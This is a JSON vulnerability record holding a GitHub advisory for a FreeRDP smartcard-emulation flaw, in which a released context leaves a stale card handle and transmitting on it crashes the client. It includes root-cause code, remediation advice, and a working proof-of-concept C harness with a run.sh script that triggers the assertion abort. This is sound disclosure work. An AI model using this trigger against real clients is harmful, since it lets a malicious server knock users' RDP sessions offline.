{"schema":"threatline.record/2","record":{"id":"GHSA-f526-rq4j-5ch8","aliases":["GHSA-f526-rq4j-5ch8"],"summary":"Released smartcard-emulation context leaves a live card handle that crashes FreeRDP on transmit","details":"A malicious RDP server can terminate a FreeRDP client when smartcard emulation and smartcard redirection are enabled. The server first establishes a smartcard context, connects an emulated card, and releases that context. FreeRDP removes the context but leaves the card handle in a separate global handle table. The server can then establish another valid context and issue `SCardTransmit` with that live context for worker routing and the stale card handle as the object to operate on.\r\n\r\n`Emulate_SCardTransmit` validates only that the card handle remains in the handle table. It then looks up the handle's deleted parent context, receives `NULL`, and reaches `WINPR_ASSERT(ctx)`. WinPR's assertion implementation terminates the process, and the operation has no recoverable invalid-handle path.\r\n\r\nThe sequence is deterministic and single-threaded. It is distinct from a concurrent smartcard disconnect/transmit use-after-free. The demonstrated impact is client-process denial of service; code execution, memory disclosure, and integrity impact were not demonstrated.\r\n\r\n### Prerequisites\r\n\r\n- Alice connects to a malicious or compromised RDP server.\r\n- FreeRDP is built with smartcard emulation support.\r\n- Smartcard emulation is configured with a certificate and private key.\r\n- The RDP smartcard device channel is active.\r\n\r\n### Root cause\r\n\r\nIn `libfreerdp/emu/scard/smartcard_emulate.c`, `Emulate_SCardReleaseContext` removes the context table entry without removing card handles whose `SCardHandle.hContext` references that context:\r\n\r\n```c\r\nvalue = HashTable_GetItemValue(smartcard->contexts, (const void*)hContext);\r\nif (value)\r\n    HashTable_Remove(smartcard->contexts, (const void*)hContext);\r\nstatus = SCARD_S_SUCCESS;\r\n```\r\n\r\nThe stale handle still passes `scard_handle_valid`. `Emulate_SCardTransmit` then assumes its parent context exists:\r\n\r\n```c\r\nSCardHandle* hdl = HashTable_GetItemValue(smartcard->handles, (const void*)hCard);\r\nWINPR_ASSERT(hdl);\r\n/* ... */\r\nSCardContext* ctx =\r\n    HashTable_GetItemValue(smartcard->contexts, (const void*)hdl->hContext);\r\nWINPR_ASSERT(ctx);\r\n*pcbRecvLength =\r\n    scard_copy_strings(ctx, pbRecvBuffer, *pcbRecvLength, response, responseSize);\r\n```\r\n\r\nThe transmit protocol carries a context and card handle independently. FreeRDP uses the request context to select the smartcard worker but calls `SCardTransmit` using the separately supplied card handle. This permits a valid new context to route a stale card handle to the vulnerable backend operation.\r\n\r\n### Affected versions and validation\r\n\r\nThe source pattern first appears in the 3.0.0 release snapshot and remains in 3.31.1 and current `master` at `fe8e4a68` (reviewed 2026-09-19). No fixed release was identified.\r\n\r\nThe attached harness was run against 3.31.1 and that `master` revision. On both:\r\n\r\n- The control retained the issuing context and returned `SCARD_S_SUCCESS` with 22 response bytes.\r\n- The stale case released the issuing context, established a different live context, and transmitted with the original card handle.\r\n- The stale case aborted at the missing-context assertion with exit status 134.\r\n\r\nObserved summary:\r\n\r\n```text\r\ncontrol: card handle and issuing context are both live\r\ntransmit returned 0x00000000 with 22 response bytes\r\nreproduced: stale-context transmit terminated with status 134\r\n```\r\n\r\n### Reproduction\r\n\r\nFrom the disclosure package directory, with a completed FreeRDP build available at relative paths:\r\n\r\n```sh\r\ncd poc\r\nOUTPUT_DIR=\"$PWD/build\" ./run.sh ../../FreeRDP ../../freerdp-build\r\n```\r\n\r\nThe runner generates an ephemeral certificate, compiles the harness, runs the live control, and runs the stale-context trigger. The expected vulnerable result is status 134 for the stale case. It changes no source files and terminates only the harness process.\r\n\r\n### Remediation\r\n\r\nWhen releasing a context, invalidate and free all card handles issued under it before freeing the context, using synchronization shared with handle-consuming operations. In addition, make `Emulate_SCardTransmit` and related handle operations return `SCARD_E_INVALID_HANDLE` when the handle's parent context is absent instead of treating that relationship as an assertion invariant. Regression tests should cover a live handle, a stale handle routed through another live context, multiple handles owned by one released context, and concurrent release/use behavior.\r\n\r\n### `poc/scard_stale_context_poc.c`\r\n\r\n```c\r\n#include <stdio.h>\r\n#include <stdlib.h>\r\n#include <string.h>\r\n\r\n#include <freerdp/emulate/scard/smartcard_emulate.h>\r\n#include <freerdp/settings.h>\r\n#include <winpr/smartcard.h>\r\n\r\nstatic char* read_text_file(const char* path)\r\n{\r\n\tFILE* fp = fopen(path, \"rb\");\r\n\tchar* data = NULL;\r\n\tlong size = 0;\r\n\r\n\tif (!fp)\r\n\t\treturn NULL;\r\n\tif ((fseek(fp, 0, SEEK_END) != 0) || ((size = ftell(fp)) < 0) ||\r\n\t    (fseek(fp, 0, SEEK_SET) != 0))\r\n\t\tgoto out;\r\n\tdata = calloc((size_t)size + 1, 1);\r\n\tif (!data || (fread(data, 1, (size_t)size, fp) != (size_t)size))\r\n\t{\r\n\t\tfree(data);\r\n\t\tdata = NULL;\r\n\t}\r\nout:\r\n\tfclose(fp);\r\n\treturn data;\r\n}\r\n\r\nstatic int require_success(const char* operation, LONG status)\r\n{\r\n\tif (status == SCARD_S_SUCCESS)\r\n\t\treturn 1;\r\n\tfprintf(stderr, \"%s failed: 0x%08lx\\n\", operation, (unsigned long)status);\r\n\treturn 0;\r\n}\r\n\r\nint main(int argc, char** argv)\r\n{\r\n\tconst char* mode = NULL;\r\n\tchar* certificate = NULL;\r\n\tchar* private_key = NULL;\r\n\trdpSettings* settings = NULL;\r\n\tSmartcardEmulationContext* emulator = NULL;\r\n\tSCARDCONTEXT issuing_context = 0;\r\n\tSCARDCONTEXT live_context = 0;\r\n\tSCARDHANDLE card = 0;\r\n\tDWORD protocol = 0;\r\n\tBYTE request[] = { 0x00, 0xA4, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00 };\r\n\tBYTE response[512] = { 0 };\r\n\tDWORD response_length = sizeof(response);\r\n\tSCARD_IO_REQUEST io_request = { 0, 0 };\r\n\tLONG status = SCARD_F_INTERNAL_ERROR;\r\n\tint result = 2;\r\n\r\n\tif (argc != 4 || (strcmp(argv[1], \"control\") != 0 && strcmp(argv[1], \"stale\") != 0))\r\n\t{\r\n\t\tfprintf(stderr, \"usage: %s control|stale certificate.pem private-key.pem\\n\", argv[0]);\r\n\t\treturn 2;\r\n\t}\r\n\tmode = argv[1];\r\n\tcertificate = read_text_file(argv[2]);\r\n\tprivate_key = read_text_file(argv[3]);\r\n\tsettings = freerdp_settings_new(0);\r\n\tif (!certificate || !private_key || !settings)\r\n\t{\r\n\t\tfprintf(stderr, \"failed to initialize test inputs\\n\");\r\n\t\tgoto cleanup;\r\n\t}\r\n\tif (!freerdp_settings_set_string(settings, FreeRDP_SmartcardCertificate, certificate) ||\r\n\t    !freerdp_settings_set_string(settings, FreeRDP_SmartcardPrivateKey, private_key) ||\r\n\t    !freerdp_settings_set_string(settings, FreeRDP_Password, \"1234\"))\r\n\t{\r\n\t\tfprintf(stderr, \"failed to configure smartcard emulation\\n\");\r\n\t\tgoto cleanup;\r\n\t}\r\n\r\n\temulator = Emulate_New(settings);\r\n\tif (!emulator || !Emulate_IsConfigured(emulator))\r\n\t{\r\n\t\tfprintf(stderr, \"smartcard emulator is not configured\\n\");\r\n\t\tgoto cleanup;\r\n\t}\r\n\tif (!require_success(\"SCardEstablishContext(issuing)\",\r\n\t                     Emulate_SCardEstablishContext(emulator, SCARD_SCOPE_USER, NULL, NULL,\r\n\t                                                   &issuing_context)) ||\r\n\t    !require_success(\"SCardConnectA\",\r\n\t                     Emulate_SCardConnectA(emulator, issuing_context, \"reader\",\r\n\t                                           SCARD_SHARE_SHARED, SCARD_PROTOCOL_T1, &card,\r\n\t                                           &protocol)))\r\n\t\tgoto cleanup;\r\n\r\n\tif (strcmp(mode, \"stale\") == 0)\r\n\t{\r\n\t\tif (!require_success(\"SCardReleaseContext(issuing)\",\r\n\t\t                     Emulate_SCardReleaseContext(emulator, issuing_context)) ||\r\n\t\t    !require_success(\"SCardEstablishContext(live)\",\r\n\t\t                     Emulate_SCardEstablishContext(emulator, SCARD_SCOPE_USER, NULL, NULL,\r\n\t\t                                                   &live_context)))\r\n\t\t\tgoto cleanup;\r\n\t\tissuing_context = 0;\r\n\t\tprintf(\"stale: issuing context released; independent live context established\\n\");\r\n\t}\r\n\telse\r\n\t{\r\n\t\tprintf(\"control: card handle and issuing context are both live\\n\");\r\n\t}\r\n\tfflush(stdout);\r\n\r\n\tstatus = Emulate_SCardTransmit(emulator, card, &io_request, request, sizeof(request), NULL,\r\n\t                               response, &response_length);\r\n\tprintf(\"transmit returned 0x%08lx with %lu response bytes\\n\", (unsigned long)status,\r\n\t       (unsigned long)response_length);\r\n\tresult = (status == SCARD_S_SUCCESS) ? 0 : 1;\r\n\r\ncleanup:\r\n\tif (emulator)\r\n\t{\r\n\t\tif (card)\r\n\t\t\t(void)Emulate_SCardDisconnect(emulator, card, SCARD_LEAVE_CARD);\r\n\t\tif (live_context)\r\n\t\t\t(void)Emulate_SCardReleaseContext(emulator, live_context);\r\n\t\tif (issuing_context)\r\n\t\t\t(void)Emulate_SCardReleaseContext(emulator, issuing_context);\r\n\t\tEmulate_Free(emulator);\r\n\t}\r\n\tfreerdp_settings_free(settings);\r\n\tfree(private_key);\r\n\tfree(certificate);\r\n\treturn result;\r\n}\r\n```\r\n\r\n### `poc/run.sh`\r\n\r\n```sh\r\n#!/bin/sh\r\nset -eu\r\n\r\nif [ \"$#\" -ne 2 ]; then\r\n\techo \"usage: run.sh SOURCE_DIR BUILD_DIR\" >&2\r\n\texit 2\r\nfi\r\n\r\nSOURCE_DIR=$(CDPATH= cd -- \"$1\" && pwd)\r\nBUILD_DIR=$(CDPATH= cd -- \"$2\" && pwd)\r\nSCRIPT_DIR=$(CDPATH= cd -- \"$(dirname -- \"$0\")\" && pwd)\r\nOUTPUT_DIR=${OUTPUT_DIR:-\"$SCRIPT_DIR/build\"}\r\nCC=${CC:-cc}\r\nFREERDP_LIB_DIR=${FREERDP_LIB_DIR:-\"$BUILD_DIR/libfreerdp\"}\r\nWINPR_LIB_DIR=${WINPR_LIB_DIR:-\"$BUILD_DIR/winpr/libwinpr\"}\r\nRUNTIME_LIBRARY_PATH=${RUNTIME_LIBRARY_PATH:-}\r\n\r\nmkdir -p \"$OUTPUT_DIR\"\r\n\r\nif [ ! -s \"$OUTPUT_DIR/certificate.pem\" ] || [ ! -s \"$OUTPUT_DIR/private-key.pem\" ]; then\r\n\topenssl req -x509 -newkey rsa:2048 -nodes -days 1 -subj \"/CN=FreeRDP PoC\" \\\r\n\t\t-keyout \"$OUTPUT_DIR/private-key.pem\" -out \"$OUTPUT_DIR/certificate.pem\" \\\r\n\t\t>/dev/null 2>&1\r\nfi\r\n\r\nCOMPILE_FLAGS=${COMPILE_FLAGS:-\"-O1 -g\"}\r\nLINK_FLAGS=${LINK_FLAGS:-}\r\n\r\n# The generated WinPR headers and the source headers are both required by the\r\n# public emulation API. Extra include/link flags can be supplied for builds\r\n# that keep OpenSSL or zlib in non-system prefixes.\r\n# shellcheck disable=SC2086\r\n$CC $COMPILE_FLAGS ${EXTRA_INCLUDE_FLAGS:-} \\\r\n\t-I\"$SOURCE_DIR/include\" -I\"$SOURCE_DIR/winpr/include\" \\\r\n\t-I\"$BUILD_DIR/include\" -I\"$BUILD_DIR/winpr/include\" \\\r\n\t\"$SCRIPT_DIR/scard_stale_context_poc.c\" -o \"$OUTPUT_DIR/scard_stale_context_poc\" \\\r\n\t-L\"$FREERDP_LIB_DIR\" -L\"$WINPR_LIB_DIR\" $LINK_FLAGS ${EXTRA_LINK_FLAGS:-} \\\r\n\t-Wl,--allow-shlib-undefined -lfreerdp3 -lwinpr3 -lssl -lcrypto -lz -lpthread -ldl -lm\r\n\r\nLIBRARY_PATHS=\"$FREERDP_LIB_DIR:$WINPR_LIB_DIR\"\r\nif [ -n \"$RUNTIME_LIBRARY_PATH\" ]; then\r\n\tLIBRARY_PATHS=\"$LIBRARY_PATHS:$RUNTIME_LIBRARY_PATH\"\r\nfi\r\nif [ -n \"${LD_LIBRARY_PATH:-}\" ]; then\r\n\tLIBRARY_PATHS=\"$LIBRARY_PATHS:$LD_LIBRARY_PATH\"\r\nfi\r\nexport LD_LIBRARY_PATH=$LIBRARY_PATHS\r\n\r\n\"$OUTPUT_DIR/scard_stale_context_poc\" control \\\r\n\t\"$OUTPUT_DIR/certificate.pem\" \"$OUTPUT_DIR/private-key.pem\" \\\r\n\t>\"$OUTPUT_DIR/control.stdout\" 2>\"$OUTPUT_DIR/control.stderr\"\r\necho 0 >\"$OUTPUT_DIR/control.exitcode\"\r\n\r\nset +e\r\n\"$OUTPUT_DIR/scard_stale_context_poc\" stale \\\r\n\t\"$OUTPUT_DIR/certificate.pem\" \"$OUTPUT_DIR/private-key.pem\" \\\r\n\t>\"$OUTPUT_DIR/stale.stdout\" 2>\"$OUTPUT_DIR/stale.stderr\"\r\nstale_status=$?\r\nset -e\r\nprintf '%s\\n' \"$stale_status\" >\"$OUTPUT_DIR/stale.exitcode\"\r\n\r\nif [ \"$stale_status\" -eq 134 ]; then\r\n\techo \"reproduced: stale-context transmit terminated with status $stale_status\"\r\nelse\r\n\techo \"not reproduced: expected status 134, got $stale_status\" >&2\r\n\texit 1\r\nfi\r\n```\r\n","categories":["Unclassified"],"product":"FreeRDP","vendor":"","ecosystem":null,"affected_ranges":[{"source":"GitHub Advisory Database","source_url":"https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-f526-rq4j-5ch8","source_modified_at":"2026-09-29T07:27:02Z","fetched_at":"2026-10-25T18:55:31.805249Z","package":{"ecosystem":"c","name":"FreeRDP"},"range":">= 3.0.0, <= 3.31.1"}],"fixed_versions":[{"source":"GitHub Advisory Database","source_url":"https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-f526-rq4j-5ch8","source_modified_at":"2026-09-29T07:27:02Z","fetched_at":"2026-10-25T18:55:31.805249Z","package":{"ecosystem":"c","name":"FreeRDP"},"version":"3.32.0"}],"cvss":6.5,"severity":"Medium","kev":{"listed":false},"epss":{"probability":null,"percentile":null,"score_date":null},"published_at":"2026-09-29T07:27:02Z","modified_at":"2026-09-29T07:27:02Z","provenance":[{"source":"GitHub Advisory Database","url":"https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-f526-rq4j-5ch8","fetched_at":"2026-10-25T18:55:31.805249Z","source_modified_at":"2026-09-29T07:27:02Z"}],"sources":["GitHub Advisory Database"],"references":[],"locations":[],"motoko_assessment":{"status":"requires_architecture_review","automatic_remediation":false},"classification":{"method":"product-first software-layer rules","rules_version":"2.1","matched_on":null,"confidence":"unknown","reviewed":false},"change_timestamp":"2026-09-29T07:27:02Z","content_hash":"368309b2477456e3077885bd61af711809cd7662db1bdd01de68ddcc737f8c39"}}
